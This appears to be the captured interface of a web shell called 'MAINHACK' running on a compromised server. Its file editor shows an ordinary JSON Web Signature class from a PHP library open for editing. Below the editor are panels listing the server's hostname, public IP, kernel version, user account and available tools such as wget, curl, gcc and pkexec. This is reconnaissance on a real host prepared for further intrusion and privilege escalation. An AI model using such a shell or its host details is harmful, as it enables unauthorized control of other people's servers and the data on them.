[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SimpleJWS.php
<?php namespace Namshi\JOSE; /** * Class providing an easy to use JWS implementation. */ class SimpleJWS extends JWS { /** * Constructor. * * @param array $header An associative array of headers. The value can be any type accepted by json_encode or a JSON serializable object * * @see http://php.net/manual/en/function.json-encode.php * @see http://php.net/manual/en/jsonserializable.jsonserialize.php * @see https://tools.ietf.org/html/draft-ietf-jose-json-web-signature-41#section-4 * } */ public function __construct($header = array(), $encryptionEngine = 'OpenSSL') { if (!isset($header['typ'])) { $header['typ'] = 'JWS'; } parent::__construct($header, $encryptionEngine); } /** * Sets the payload of the current JWS with an issued at value in the 'iat' property. * * @param array $payload * * @return $this */ public function setPayload(array $payload) { if (!isset($payload['iat'])) { $payload['iat'] = time(); } return parent::setPayload($payload); } /** * Checks that the JWS has been signed with a valid private key by verifying it with a public $key * and the token is not expired. * * @param resource|string $key * @param string $algo The algorithms this JWS should be signed with. Use it if you want to restrict which algorithms you want to allow to be validated. * * @return bool */ public function isValid($key, $algo = null) { return $this->verify($key, $algo) && !$this->isExpired(); } /** * Checks whether the token is expired based on the 'exp' value. *it. * * @return bool */ public function isExpired() { $payload = $this->getPayload(); if (isset($payload['exp'])) { $now = new \DateTime('now'); if (is_int($payload['exp'])) { return ($now->getTimestamp() - $payload['exp']) > 0; } if (is_numeric($payload['exp'])) { return ($now->format('U') - $payload['exp']) > 0; } } return false; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.41 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002